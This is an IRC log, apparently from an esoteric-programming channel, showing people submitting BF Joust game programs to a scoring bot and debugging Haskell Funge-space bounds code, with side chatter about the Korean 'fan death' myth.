22:00:44 <nescience> if a cell is 0 and one program executes ] and another -, does the first loop?
22:00:46 -!- myndzi has quit (Ping timeout: 240 seconds).
22:01:03 -!- Behold has joined.
22:01:05 <elliott> nescience: Yes, it does. Or... I think it takes one cycle and then stops looping.
22:01:12 <elliott> You can't use [] to detect when a cell hits 0, by design.
22:01:16 <nescience> what I mean is
22:01:24 <nescience> oh what?
22:01:37 <elliott> nescience: well, i think you can
22:01:38 <elliott> nescience: but not your flag
22:01:42 <elliott> because in the time it takes for the loop to finish
22:01:43 <elliott> you die
22:02:09 <nescience> I thought that if [ fails it skips to after ]
22:02:15 <Deewiant> !bfjoust trapwire_ >[[]-+---[]+-+++]
22:02:34 <elliott> nescience: It's []]]]]]]]]]]
22:02:37 <elliott> is the trace
22:02:41 <EgoBot> Score for Deewiant_trapwire_: 7.0
22:02:52 <nescience> that is what I thought it would be
22:03:12 <nescience> does it test the cell before or after the cell changes?
22:04:00 <elliott> dunno ask Gregor
22:04:05 <elliott> we fleshed all this out ages back
22:04:14 -!- BeholdMyGlory has quit (Ping timeout: 265 seconds).
22:04:27 -!- hagb4rd has joined.
22:04:35 <Gregor> Before
22:04:39 <Gregor> Err, wait
22:04:41 <Gregor> Which test :P
22:04:49 <nescience> must be before
22:04:59 <nescience> ]
22:05:39 <Deewiant> !bfjoust spring (>)*8-<+<-<+<-<+<-<+<(+-+)*170(>)*9([(-)*9[+]]>)*20
22:06:04 <EgoBot> Score for Deewiant_spring: 19.2
22:06:53 <oerjan> further investigation shows that only two of those programs use mismatched [] in a way that isn't obviously convertible to matching ({})
22:07:19 <oerjan> impomatic_spookygoth.bfjoust
22:07:20 <oerjan> impomatic_sexyghoul.bfjoust
22:08:01 <oerjan> for the others, there is always a precisely matching other ()* that it can be combined with
22:08:12 <elliott> that impomatic, always breaking things
22:08:21 <Deewiant> !bfjoust spring (>)*8-<+<-<+<-<+<-<+<(+-+)*200(>)*9([(-)*9[+]]>)*20
22:08:56 <nescience> !bfjoust trapwire (-)*127>+[]<.---
22:09:45 <EgoBot> Score for Deewiant_spring: 19.2
22:09:52 <EgoBot> Score for nescience_trapwire: 16.9
22:10:03 <Deewiant> !bfjoust spring (>)*8-<+<-<+<-<+<-<+<(+-+)*250(>)*9([(-)*9[+]]>)*20
22:10:30 <EgoBot> Score for Deewiant_spring: 18.4
22:11:57 <nescience> !bfjoust trapwire (-)*127>+[]<-(>)*9(>[[-]])*21
22:12:23 <nescience> whoops, incomplete code
22:12:37 <EgoBot> Score for nescience_trapwire: 16.1
22:12:56 <nescience> !bfjoust trapwire (-)*127>+[]<--+++(>)*9(>[[-]])*21
22:14:20 <EgoBot> Score for nescience_trapwire: 15.9
22:14:33 <nescience> and with the delay..
22:14:54 <nescience> !bfjoust trapwire (-)*127>+[]<.--+++(>)*9(>[[-]])*21
22:15:16 <elliott> do you just keep tweaking programs until they get a high score? :D
22:15:36 <nescience> not exactly, I just have a queue of ideas to try usually
22:15:43 -!- augur has quit (Ping timeout: 276 seconds).
22:15:59 <nescience> this one should have kept the delay but I was curious if there were more single loops
22:16:27 <elliott> !bfjoust nightingale >>>>>>>>>-[](>[-]>[+])*10
22:16:49 <EgoBot> Score for nescience_trapwire: 17.4
22:17:09 <Deewiant> !bfjoust spring (>)*8-<+<-<+<-<+<-<+<(+-+)*320(>)*9([(-)*9[+]]>)*20
22:17:12 <nescience> the idea was just to try and get double loops to fall through by not starting
22:17:21 <elliott> !bfjoust
22:17:22 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:17:30 <EgoBot> Score for elliott_nightingale: 2.2
22:17:35 <elliott> 2.2, woo :P
22:17:47 <EgoBot> Score for Deewiant_spring: 19.2
22:18:06 <nescience> I have more to do to careful but I can't do it via rdp from my phone
22:18:30 <elliott> has anyone ever done a defend strategy that after like 90000 ticks gives up and does a dumb attack? i guess so
22:18:37 <elliott> i think the max tick count is too high for the tape lengths
22:18:48 <elliott> because you can waste so much time in a lot of cases
22:19:27 <nescience> yes, impomatic wrote some defenders that don't wait forever
22:19:47 <nescience> ais too
22:19:59 <elliott> right
22:20:19 <Deewiant> !bfjoust spring (>)*8-<+<-<+<-<+<-<+<(+-+)*347(>)*9([(-)*9[+]]>)*20
22:20:43 <EgoBot> Score for Deewiant_spring: 18.5
22:21:16 <elliott> ais's "make small decoys so I have more time to make larger decoys" strategy seems good
22:21:33 <elliott> maybe if you put some kind of []-trip just after your last normal decoy, and then went and attacked
22:22:18 <quintopia> it wouldn't work against programs that leave decoy trails as they clear
22:22:36 <elliott> why not?
22:22:46 <elliott> well, i guess you could tie with them
22:22:52 <elliott> but unless they make all their decoys = 128
22:22:59 <quintopia> by the time you got back to check your trip, it would not be zero, but the opponent would already have passed it
22:23:21 <elliott> quintopia: fine, set your trip after the first few decoys
22:23:38 <quintopia> doesn't change anything
22:24:01 <quintopia> most programs don't leave decoy trails though, and those that do just leave size-1s
22:24:09 <quintopia> so you could still benefit probably
22:24:40 <Deewiant> !bfjoust maglev (>+>-)*4-(>[(-)*9[+]])*21[(+)*9[-.]](+..)*1000
22:24:48 -!- augur has joined.
22:25:06 <EgoBot> Score for Deewiant_maglev: 31.3
22:25:45 <nescience> so [ checks before cells are altered that cycle right?
22:26:40 -!- augur has quit (Remote host closed the connection).
22:26:49 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*8([(-)*9[+]])*20[(+)*9[-.]](+..)*1000
22:27:26 <elliott> Hey Vorpal
22:27:30 <EgoBot> Score for Deewiant_maglev: 1.9
22:27:32 <nescience> I think I should have written a backwards decoy before talking about it.. then I could take credit :P
22:27:55 <elliott> nescience: Who, me?
22:28:03 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*8([(-)*9[+]]>)*20[(+)*9[-.]](+..)*1000
22:28:03 <nescience> me
22:28:07 <elliott> oh
22:28:09 <elliott> "I think I"
22:28:25 <elliott> Deewiant: Do you think if I paste you the relevant part of my code and act like I've found the bug and say "spot my bug" you'll notice it? :-)
22:28:28 <nescience> indeed!
22:28:36 <EgoBot> Score for Deewiant_maglev: 43.5
22:28:39 <Deewiant> elliott: Probably not
22:28:48 <elliott> Deewiant: But you always do!
22:28:59 <Deewiant> Not always
22:29:06 <elliott> Well, usually
22:29:10 <elliott> Admittedly always for really stupid bugs
22:29:15 <nescience> loops, loops! check 0 before or after?
22:29:33 <Phantom_Hoover> http://imgur.com/a/YQCna
22:29:39 <Phantom_Hoover> THESE PEOPLE ARE NOT LIKE ME
22:29:52 <Deewiant> !bfjoust monorail (>+>-)*4(>[(-)*9[+]])*21[(+)*9[-.]](+..)*1000
22:30:25 <EgoBot> Score for Deewiant_monorail: 32.5
22:30:40 <Phantom_Hoover> They have used their lives more productively :P
22:31:00 <Deewiant> !bfjoust monorail (>+>-)*4(>[(-)*9[+]])*21
22:31:06 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*8([(-)*9[+]]>)*20
22:31:30 <EgoBot> Score for Deewiant_maglev: 43.5
22:31:31 <EgoBot> Score for Deewiant_monorail: 32.5
22:31:46 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(-)*9[+]]>)*19
22:32:12 <EgoBot> Score for Deewiant_maglev: 3.7
22:32:14 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(-)*9[+]])*19
22:32:43 <EgoBot> Score for Deewiant_maglev: 33.5
22:32:50 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(-)*9[+]])*20
22:32:50 <elliott> Phantom_Hoover: Adverts... for Wikipedia... ontributors?
22:32:51 <elliott> What
22:32:51 <Deewiant> Blah
22:32:58 <Phantom_Hoover> elliott, I don't know.
22:33:04 <elliott> *contributors
22:33:10 <Deewiant> Erg
22:33:10 -!- nescience has quit (Remote host closed the connection).
22:33:24 <Phantom_Hoover> I just know that I am not unable to move due to crap lining every available surface.
22:33:25 <EgoBot> Score for Deewiant_maglev: 38.5
22:33:27 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(-)*9[+]])*21
22:34:05 <EgoBot> Score for Deewiant_maglev: 43.5
22:34:45 -!- nescience has joined.
22:35:01 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(-)*9[+]])*21[(+)*9[-.]](+..)*1000
22:35:32 <EgoBot> Score for Deewiant_maglev: 43.5
22:35:53 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*9[-]])*21
22:36:09 <quintopia> !bfjoust tripwall (>+)*5>>+<-<++++[](<(+)*128)*4(>)*8([+[--[(+)*10[-]]]]>)*20
22:36:28 <EgoBot> Score for Deewiant_maglev: 44.8
22:37:11 <EgoBot> Score for quintopia_tripwall: 20.8
22:37:56 <quintopia> !bfjoust tripwall (>+)*5>>+<-<++++[](<(+)*127)*4(>)*8([+[--[(+)*10[-]]]]>)*20
22:38:32 <elliott> SO ANY WAY
22:38:44 <EgoBot> Score for quintopia_tripwall: 20.3
22:38:48 <quintopia> huh
22:39:07 <quintopia> !bfjoust tripwall (>+)*5>>+<-<++++[](<(+)*128)*4(>)*8([+[--[(+)*10[-.]]]]>)*20
22:39:53 <EgoBot> Score for quintopia_tripwall: 19.4
22:39:58 <quintopia> ha
22:40:00 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*11[-]])*21
22:40:02 <Gregor> Glad to see crapping_turtle is still up there.
22:40:13 <quintopia> why is it crapping gregor?
22:40:28 <EgoBot> Score for Deewiant_maglev: 44.0
22:40:47 <Gregor> quintopia: Because it had a big lunch and the bathroom at work was closed for repairs.
22:40:59 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*12[-]])*21
22:41:14 <nescience> !bfjoust trapwire (-)*127>+>+[]<.-<(-+)*1000(>)*9[[-]]
22:41:18 <quintopia> you should make a new one called crapping_turtle_hanging_dirigible
22:41:19 <Gregor> quintopia: Snapping turtle just went for the flag under the assumption you left it at 128, trapping turtle was similar but left a few simple decoys, crapping turtle leaves a trail of "decoys"
22:41:26 <EgoBot> Score for Deewiant_maglev: 42.3
22:41:39 <elliott> OK... wtf. this code should be working perfectly.
22:41:53 <nescience> hey gregor; does [ test before or after + or - is applied?
22:41:59 <quintopia> Gregor: variations on (>(-)*128)*29?
22:42:00 <Gregor> Before
22:42:02 <EgoBot> Score for nescience_trapwire: 17.1
22:42:06 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*8[-]])*21
22:42:09 <nescience> hm, thought so
22:42:12 <nescience> too bad
22:42:15 <Gregor> quintopia: A bit less stupid than that, but yes :P
22:42:28 <EgoBot> Score for Deewiant_maglev: 41.9
22:42:32 <quintopia> how stupid is it?
22:42:48 <Gregor> quintopia: Read it for yourself X-P
22:42:55 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*7[-]])*21
22:43:05 <quintopia> !bfjoust how_stupid_is_it (>(-)*128)*29
22:43:16 <Gregor> OIC
22:43:25 <Gregor> Well that's particularly stupid 'cuz it'll lose even if it wins.
22:43:28 <EgoBot> Score for Deewiant_maglev: 42.6
22:43:31 <Gregor> You need to put a wait in.
22:43:35 <nescience> !bfjoust trapwire (-)*127>+[]<(-+)*1000(>)*9[[-]]
22:43:45 <Gregor> But even so you're wasting a lot of time on frames you could've checked and verified were zero.
22:43:45 <EgoBot> Score for quintopia_how_stupid_is_it: 1.5
22:44:05 <quintopia> Gregor: OR AM I LEAVING GIANT DECOYS?
22:44:06 <quintopia> :P
22:44:17 <Gregor> quintopia: That one will step off the end of the tape if it zeros the flag.
22:44:30 <EgoBot> Score for nescience_trapwire: 18.9
22:44:44 <Deewiant> !bfjoust maglev (>)*8<+<-<(+)*10<(-)*10<(-)*30<<(+)*42(>)*7(>[(+)*9[-]])*21
22:44:53 <quintopia> Gregor: oh good point :P
22:45:03 <nescience> !bfjoust trapwire (-)*127>+[]<(-+)*5000(>)*9[[-]]
22:45:04 * Gregor is just glad to have some survivors on the hill for once :P
22:45:12 <quintopia> !bfjoust how_stupid_is_it (>(-)*128.)*29
22:45:35 <EgoBot> Score for Deewiant_maglev: 45.2
22:46:27 <elliott> !bfjoust turtle_fucker (-)*127[.]
22:46:38 <quintopia> lul
22:46:54 <EgoBot> Score for nescience_trapwire: 18.9
22:46:54 <EgoBot> Score for quintopia_how_stupid_is_it: 20.5
22:47:11 <quintopia> Gregor: thx. not so stupid now...
22:47:14 <nescience> !bfjoust trapwire (-)*127>+[]<(-+)*500(>)*9[[-]]
22:48:16 <EgoBot> Score for elliott_turtle_fucker: 16.5
22:48:17 <EgoBot> Score for nescience_trapwire: 18.5
22:48:22 <elliott> 16.5 :D
22:48:34 <nescience> hmk, guess I'll leave it alone
22:48:39 <nescience> !bfjoust trapwire (-)*127>+[]<(-+)*1000(>)*9[[-]]
22:48:42 <quintopia> !bfjoust a_bit_less_stupid >>>>>>>>>([+[--[(-)*128]]]>)*20
22:48:49 -!- Mathnerd314 has quit (Ping timeout: 255 seconds).
22:49:04 <quintopia> watch it do worse
22:49:12 <quintopia> due to loss of HUEG DECOYS
22:49:23 <EgoBot> Score for nescience_trapwire: 19.2
22:49:41 <EgoBot> Score for quintopia_a_bit_less_stupid: 8.2
22:49:45 <quintopia> yup
22:50:31 <quintopia> !bfjoust a_bit_less_stupid (>(+)*128)*4(>)*5([+[--[(-)*128]]]>)*20
22:51:05 <EgoBot> Score for quintopia_a_bit_less_stupid: 5.6
22:51:14 <quintopia> wow
22:51:18 <quintopia> i give up :P
22:51:29 <Phantom_Hoover> http://www.smbc-comics.com/index.php?db=comics&id=2151
22:51:39 <quintopia> maybe doing it in reverse would help
22:51:51 <Phantom_Hoover> I can't look at that template without thinking that the underline makes it into a falling power, which makes no sense.
22:52:23 <quintopia> !bfjoust a_bit_less_stupid (>)*4((+)*128<)*4(>)*9([+[--[(-)*128]]]>)*20
22:52:39 <quintopia> that didn't occur to me pH
22:53:02 <EgoBot> Score for quintopia_a_bit_less_stupid: 5.6
22:59:44 <elliott> >_<
22:59:55 <elliott> This is ridiculous, it should be working.
23:02:24 -!- BeholdMyGlory has joined.
23:02:30 -!- BeholdMyGlory has quit (Changing host).
23:02:30 -!- BeholdMyGlory has joined.
23:03:32 -!- Mathnerd314 has joined.
23:04:58 -!- Behold has quit (Ping timeout: 250 seconds).
23:07:04 <elliott> Phantom_Hoover: O Oracle, is it possible for a Haskell progrma to have bugs?
23:07:37 <elliott> *program
23:07:45 <Phantom_Hoover> elliott, verily, my child, only if thou hast been faithless and allowed impure imperative thoughts to enter thine head.
23:07:52 <elliott> Phantom_Hoover: Darn.
23:08:47 <Phantom_Hoover> For thy sins thou must rewrite the Wikipedia article on the lambda calculus to be more in line with the principles of LaTeX and the words of the prophet Church.
23:08:54 <Gregor> Whoot, crapping_turtle still >40 in spite of clearly being garbage :P
23:09:01 <elliott> >40?! wow
23:09:05 <elliott> What's the points?
23:09:11 <elliott> "-72"
23:09:41 -!- nescience has changed nick to myndzi.
23:10:06 <elliott> Phantom_Hoover: Has TV Tropes always... had an entire... namespace for Disney?
23:10:43 <Gregor> elliott: NUH UH IT HAS PI POINTS
23:11:06 <Phantom_Hoover> elliott, I suspect it's the stupid approach they have to disambiguation.
23:11:44 <Phantom_Hoover> So if there's something which has been adapted into a normal film and a Disney film, they can only put one into the Film namespace.
23:13:59 -!- FireFly has quit (Quit: swatted to death).
23:15:17 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:15:28 <elliott> Phantom_Hoover: Nope: "The Disney Animated Canon is slowly being moved to its own namespace. Find out how you can help here."
23:15:33 <elliott> "Help"?
23:15:36 <elliott> They need HELP to move a few pages?
23:15:51 <Phantom_Hoover> Well, have you found out what they need help with?
23:16:53 <elliott> Phantom_Hoover: I clicked the link. It told me "Sorry, no discussion with that id exists.".
23:16:58 <elliott> 'Nuffs aid
23:16:59 <elliott> *'Nuff said
23:17:10 <Phantom_Hoover> You can't help them.
23:17:41 <oerjan> NO ONE CAN AID THE NUFFS
23:18:42 <elliott> hey oerjan
23:18:54 <oerjan> except for their godmother
23:18:57 <elliott> let m' = Map.delete k m
23:18:57 <elliott> fs' = FungeSpace m' minXY maxXY (modm (subtract 1) y popRow) (modm (subtract 1) x popCol)
23:18:58 <elliott> newMinX = fst . Map.findMin $ colPopulation fs'
23:18:58 <elliott> newMaxX = fst . Map.findMax $ colPopulation fs'
23:18:58 <elliott> newMinY = fst . Map.findMin $ rowPopulation fs'
23:18:58 <elliott> newMaxY = fst . Map.findMax $ rowPopulation fs'
23:18:59 <oerjan> fairy nuff
23:18:59 <elliott> (oldMinX,oldMinY) = minXY
23:19:04 <elliott> (oldMaxX,oldMaxY) = maxXY
23:19:08 <elliott> in newMinX`seq`newMinY`seq`newMaxX`seq`newMaxY`seq`fs'{minCoords=(newMinX,newMinY),maxCoords=(newMaxX,newMaxY)}
23:19:09 <elliott> spot the bug
23:19:11 <elliott> also, /me bans oerjan
23:19:21 <oerjan> thankyou
23:19:55 <elliott> oerjan: spot the bug
23:20:09 <oerjan> er.. tricky. does it compile?
23:21:14 <oerjan> > x`seq`y
23:21:15 <lambdabot> y
23:21:26 <elliott> oerjan: yes
23:21:28 <elliott> oerjan: it compiles
23:21:29 * oerjan didn't know you could leave out space there
23:21:31 <elliott> oerjan: but it doesn't shrink the bounds properly
23:21:33 <elliott> also modm is this:
23:21:39 <elliott> modm f = Map.alter (\x ->
23:21:40 <elliott> case f (maybe 0 id x) of
23:21:40 <elliott> 0 -> Nothing
23:21:40 <elliott> x' -> Just x')
23:21:46 <elliott> the idea is that, if we decrease a row or column population to 0, we remove the key
23:21:51 <elliott> and then get the new minimum/maximum keys
23:21:56 <elliott> which will exclude the newly-removed key
23:21:59 <elliott> and thus be our new tightest bounds
23:22:48 -!- hagb4rd has quit (Quit: hagb4rd).
23:23:05 -!- hagb4rd has joined.
23:23:08 <elliott> oerjan: but it doesn't work, for instance
23:23:15 <elliott> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -10 )
23:23:16 <elliott> BAD: after spacing top-left corner, y should report greatest point as ( 182 910 ), not ( 190 919 )
23:23:16 <elliott> BAD: after spacing right edge, least point reported by y should remain ( -2 -1 )
23:23:16 <elliott> BAD: after spacing right edge, y should report greatest point as ( 181 910 ), not ( 190 919 )
23:23:16 <elliott> BAD: after spacing bottom edge, y should report greatest point as ( 181 909 ), not ( 190 918 )
23:23:26 <elliott> (-10, -10) is in fact the _old_ minimum bound
23:23:34 <elliott> so i don't know why it doesn't see the smaller bound now that the value there is gone
23:25:02 <oerjan> @hoogle Map.alter
23:25:02 <lambdabot> No results found
23:25:06 <oerjan> @hoogle alter
23:25:06 <lambdabot> Data.IntMap alter :: (Maybe a -> Maybe a) -> Int -> IntMap a -> IntMap a
23:25:06 <lambdabot> Data.Map alter :: Ord k => (Maybe a -> Maybe a) -> k -> Map k a -> Map k a
23:25:07 <lambdabot> Control.Applicative class Applicative f => Alternative f
23:25:44 <elliott> oerjan: takes (Just value) or Nothing if the key doesn't exist
23:25:48 <elliott> returns Nothing to delete
23:25:52 <elliott> or (Just value') to update
23:28:41 -!- Sgeo has joined.
23:29:02 <elliott> oerjan: figured it out yet? :D
23:29:56 * Sgeo steals a pint of blood from elliott
23:30:06 <oerjan> no
23:30:17 <elliott> Phantom_Hoover: More evidence of Sgeo's sick furry blood fetish ^
23:30:27 <elliott> oerjan: but i was relying on you, i can't figure it out.
23:30:31 <Phantom_Hoover> IT'S SO TWISTED
23:30:58 <Sgeo> I couldn't donate, because my dad needed to hurry up and pick me up due to family emergency
23:31:03 <Sgeo> I am royally ticked off
23:31:12 <Sgeo> I even way 111.4 lbs right niw
23:31:23 <Sgeo> *weigh
23:31:30 <elliott> That's what, 3 kg?
23:31:52 <oerjan> elliott: i note you are not actually using oldMin{X,Y} and oldMax{X,Y} anywhere...
23:32:08 <elliott> oerjan: yeah that's intentional
23:35:24 <elliott> and here i thought oerjan was a bug solving wizard
23:36:17 <oerjan> elliott: what happens if you replace minXY and maxXY with undefined in the above?
23:36:45 <Sgeo> elliott, donation limit is 110 lbs. I've been fluctuating over and under it
23:36:59 <elliott> oerjan: It runs without crashing.
23:37:05 <elliott> (but same errors)
23:37:08 <elliott> So the fields are definitely being replaced.
23:37:25 <elliott> (I have a fancy conditional that only conditionally replaces them but I've slimmed it down to this until I fix the bug
23:38:57 <oerjan> well i don't think i can solve this without more context
23:39:45 <oerjan> @hoogle findMin
23:39:46 <lambdabot> Data.IntMap findMin :: IntMap a -> a
23:39:46 <lambdabot> Data.IntSet findMin :: IntSet -> Int
23:39:46 <lambdabot> Data.Map findMin :: Map k a -> (k, a)
23:39:59 <elliott> finds minimum _key_
23:40:10 <elliott> oerjan: http://sprunge.us/hdae is the whole function
23:40:20 <elliott> oerjan: dunno how much more context I could give without giving you the whole code
23:40:46 <oerjan> um and is the key what you want to minimize?
23:42:15 <elliott> oerjan: the key is y and x
23:42:18 <oerjan> i recently heard you muttering about it actually being the value...
23:42:23 <elliott> yeah no ignore that
23:42:29 <oerjan> so you have reversed the map?
23:42:36 <elliott> just forget what i said :D
23:42:45 <elliott> oerjan: basically, rowMap is a map from "y" values to the number of values in fungespace with coordinate (x,y) for some x
23:42:50 <elliott> same for colMap just x instead of y
23:43:07 <elliott> oerjan: so once we remove the current maximum or minimum from the map, we can use minKey/maxKey to find the smallest populated x or y
23:43:17 <elliott> because we remove population-0 entries
23:43:30 <elliott> but this...isn't working, totally inexplicably
23:43:35 <elliott> (that function is the place where we remove the entry)
23:43:44 <elliott> (by using modm)
23:43:48 <oerjan> hm
23:46:08 <elliott> to repaste the errors from before so i can see them easier :D
23:46:09 <elliott> <elliott> BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -10 )
23:46:09 <elliott> <elliott> BAD: after spacing top-left corner, y should report greatest point as ( 182 910 ), not ( 190 919 )
23:46:09 <elliott> <elliott> BAD: after spacing right edge, least point reported by y should remain ( -2 -1 )
23:46:09 <elliott> <elliott> BAD: after spacing right edge, y should report greatest point as ( 181 910 ), not ( 190 919 )
23:46:09 <elliott> <elliott> BAD: after spacing bottom edge, y should report greatest point as ( 181 909 ), not ( 190 918 )
23:46:12 <elliott> <elliott> (-10, -10) is in fact the _old_ minimum bound
23:46:13 <elliott> <elliott> so i don't know why it doesn't see the smaller bound now that the value there is gone
23:46:27 <elliott> hm odd
23:46:29 <elliott> <elliott> BAD: after spacing right edge, least point reported by y should remain ( -2 -1 )
23:46:39 <elliott> so it thinks that the least point changes even when we're affecting the greatest point
23:46:46 <elliott> if it wasn't obviously the case i'd suspect mixed up min/max
23:46:52 <elliott> oerjan: ^
23:47:21 -!- pikhq_ has joined.
23:47:59 -!- pikhq has quit (Ping timeout: 276 seconds).
23:48:12 <oerjan> elliott: oh hm one thing. that test Map.lookup k m == Just space what if that is Nothing instead?
23:48:26 <elliott> oerjan: then, as per the guard, you're trying to replace a space with space
23:48:33 <elliott> and so by definition nothing happens and we just skip all the checks
23:48:41 <elliott> otherwise, we're replacing something that isn't a space with a space, and so removing something
23:48:44 <elliott> so we have to do all the bounds trickery
23:49:27 <oerjan> elliott: um i mean aren't Just space and Nothing equivalent in that circumstance?
23:50:02 <elliott> oerjan: hmm. that's true, but there's no harm in running the else branch always
23:50:05 <elliott> it is just an optimisation
23:50:16 <elliott> so not the bug
23:50:22 <oerjan> i guess the delete has no effect in that case
23:50:40 <elliott> yeah
23:52:39 <elliott> good to know the person who wrote the entire haskell 98 report is on the case of my broken code
23:53:37 <Phantom_Hoover> It is widely believed in South Korea that electric fans can kill you if you leave them on for too long.
23:53:39 <Phantom_Hoover> what
23:53:56 <elliott> Phantom_Hoover: yep
23:54:01 <elliott> hey lifthrasiir! :-P
23:54:30 <elliott> Phantom_Hoover: http://en.wikipedia.org/wiki/Fan_death is possibly the best article.
23:54:33 -!- pikhq_ has changed nick to pikhq.
23:54:36 <Phantom_Hoover> elliott, what if his MOTHER was killed by a fan accident?
23:54:39 <Phantom_Hoover> elliott, I AM READING IT NOW
23:54:51 <Phantom_Hoover> CHOPPING UP OXYGEN MOLECULES FTW
23:55:05 <Phantom_Hoover> Nuclear fission: a simple matter of consumer electronics.
23:55:45 <Phantom_Hoover> [[This explanation violates mass conservation and well-known properties of molecules and gases, particularly that known breakdown energy of oxygen molecules lies in the ultraviolet range, far above the energy produced by a fan.]]
23:55:49 <oerjan> elliott: are you sure the popRow is before the popCol in the actual data type definition? just checking...
23:55:57 <Phantom_Hoover> The way they take it entirely seriously is the funniest bit.
23:56:07 <oerjan> (that y before x makes me suspicious)
23:56:24 <elliott> oerjan: even if it wasn't, it's initialised to Map.empty and I only update it in that function which uses it consistently as you can see, so it would not matter; however to humour you :P:
23:56:28 <elliott> data FungeSpace = FungeSpace { spaceMap :: Map Vector Value
23:56:29 <elliott> , minCoords :: Vector
23:56:29 <elliott> , maxCoords :: Vector
23:56:29 <elliott> , rowPopulation :: Map Value Value
23:56:29 <elliott> , colPopulation :: Map Value Value }
23:56:29 <elliott> deriving (Show)
23:58:09 <pikhq> Y'know, the real reason for that rumor is *probably* that Korea doesn't usually have air conditioning, and they actually *need* it.
23:58:35 -!- myndzi has changed nick to nescience.
23:58:55 <pikhq> (unlike much of Europe, where >30°C is exceptional, >30°C isn't too unusual there.)
23:59:21 <elliott> pikhq: Thank you for you insight on this matter. If you want to add that information to the main article, you are quite welcome to. Did you know that Koreans also believe you can die from the air-conditioner in your car by the same method? I was always taught (I am not Korean by the way; I am Canadian of English decent, but i am living in South Korea) to close the car windows when the air-conditioner is on because if the windows are open, you let
23:59:22 <elliott> the hot air in. Koreans leave the windows of their cars open when the air-conditioner is on to avoid 'Fan Death'. This also applies to air-conditioners in houses. They make sure windows are open when the air-conditioner is on. Masterhatch
2011-02-11
00:00:06 <pikhq> elliott: THE FAIL IS SO STRONG.
00:00:43 <elliott> oerjan: ANY LUCK
00:00:48 <oerjan> elliott: i think i'd like to see the code for y, too
00:01:04 <elliott> oerjan: erm are you sure, it _may_ scare you; shall i just show the relevant lines?
00:01:09 <oerjan> i don't see how the bug can be in what you showed me
00:01:12 <oerjan> sure
00:01:17 <elliott> let (minX,minY) = minCoords (fungeSpace st)
00:01:19 <elliott> let (maxX,maxY) = maxCoords (fungeSpace st)
00:01:19 <elliott> pushVec (maxX-minX,maxY-minY)
00:01:19 <elliott> pushVec (minX,minY)
00:01:20 <elliott> oerjan: but
00:01:24 <elliott> oerjan: when i recalculated bounds the really slow way
00:01:36 <elliott> oerjan: i.e. whenever we're at an extremity in either x or y, recalculate them from every key in the map from scratch
00:01:41 <elliott> that y code worked just fine
00:01:45 <elliott> all i've changed is fungespace.hs
00:01:47 <oerjan> ic
00:02:26 <elliott> pikhq: [[Sometimes when someone has a shameful or socially unacceptable death, such as suicide or the above mentioned alchohol poisioning and such, the media will blame fan death even when it is clearly evident that they were killed by some other means. It is possible for the death someone with a gun shot wound to be blamed on fans.] [[I was recently discussing this via email with a friend, his (humorous) comments follow:
00:02:26 <elliott> "The explanation of fan death is accepted by many Korean medical professionals. In summer, mainstream Korean news sources regularly report on cases of fan death, even if more likely causes (e.g. heart attack, ****gunshot****, alcohol poisoning) are evident."]]
00:02:31 <elliott> Phantom_Hoover: ^
00:02:47 * Phantom_Hoover → how the hell is it twenty past twelve oh god
00:02:50 <quintopia> wtf. i just noticed that how_stupid_is_it beats wireless XD
00:02:55 <pikhq> elliott: THE FAN PUT A BULLET IN MY HEART
00:03:27 <Phantom_Hoover> pikhq, A BULLET MADE OF SLICED UP OXYGEN ATOMS
00:03:33 -!- Phantom_Hoover has quit (Remote host closed the connection).
00:03:45 <elliott> pikhq: [[I'm a South Korean, and my family also has used the function in summer nights. However, it's not because of the only "fan death" belief. My family uses the function because of not only "fan death" belief but also other various reasons:
00:03:45 <elliott> to prevent to be sick with air-conditioningitis (냉방병; 冷房病)
00:03:45 <elliott> to save electric charges: When we already fell asleep in usual summer night, although fans are turned off, we can sleep comfortable continually if the windows are opened (except abnormally hot night).
00:03:45 <elliott> I want to ask you not to think a "timer snob" of Korean fans as "just" a equipment to prevent "fan death". ― 韓斌/Yes0song (談笑 筆跡 다지모) 07:16, 19 February 2008 (UTC)]]
00:03:51 <elliott> pikhq: PREVENT TO BE SICK WITH AIR-CONDITIONINGITIS
00:04:40 <Sgeo> Koreans are just particularly suseptible to hypothermia
00:04:46 <elliott> pikhq: wow, i didn't realise jhc was such a cool compiler
00:04:49 <quintopia> and by adding a single + to the beginning of wireless, it now gets almost two more points than the next best program. crazy.
00:04:55 <elliott> pikhq: http://repetae.net/computer/jhc/jhc.shtml (out of date apparently but mostly correct)
00:05:17 <pikhq> Sgeo: s/hypo/hyper/
00:05:22 <elliott> pikhq: "No pre-written runtime. other than 20 lines of boilerplate all code is generated from the Grin intermediate code and subject to all code simplifying and dead code elimination transformations." "Second Intermediate language is based on Boquist's graph reduction language. This allows all unknown jumps to be compiled out leaving standard case statements and function calls as the only form of flow control. Combined with jhc's use of region in
